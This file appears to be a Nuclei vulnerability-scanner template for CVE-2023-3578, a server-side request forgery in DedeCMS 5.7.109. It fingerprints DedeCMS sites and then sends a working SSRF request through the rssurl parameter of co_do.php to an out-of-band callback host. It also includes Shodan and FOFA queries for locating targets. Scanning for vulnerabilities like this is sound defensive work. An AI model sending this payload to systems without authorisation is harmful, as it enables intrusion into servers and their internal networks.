id: CVE-2023-3578

info:
  name: DedeCMS 5.7.109 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.
  impact: |
    Successful exploitation could lead to sensitive data exposure, server-side request forgery, and potential server compromise.
  remediation: |
    Apply the vendor-supplied patch or update to a non-vulnerable version of DedeCMS.
  reference:
    - https://github.com/nightcloudos/cve/blob/main/SSRF.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3578
    cwe-id: CWE-918
    epss-score: 0.81235
    epss-percentile: 0.99187
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.109:*:*:*:*:*:*:*
  metadata:
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,ssrf,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: response
        words:
          - "DedeCms"
        case-insensitive: true

  - raw:
      - |
        GET /co_do.php?rssurl=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
# digest: 490a004630440220761014887f8f1e010c2a5386879e6d622adcafe0ca9ad81c5d33694402898c61022010cc8b5ec6c7a9d176ab6a73a1d53360cc30de85288b6f1a421a311c7d156cfe:922c64590222798bb761d5b6d8e72950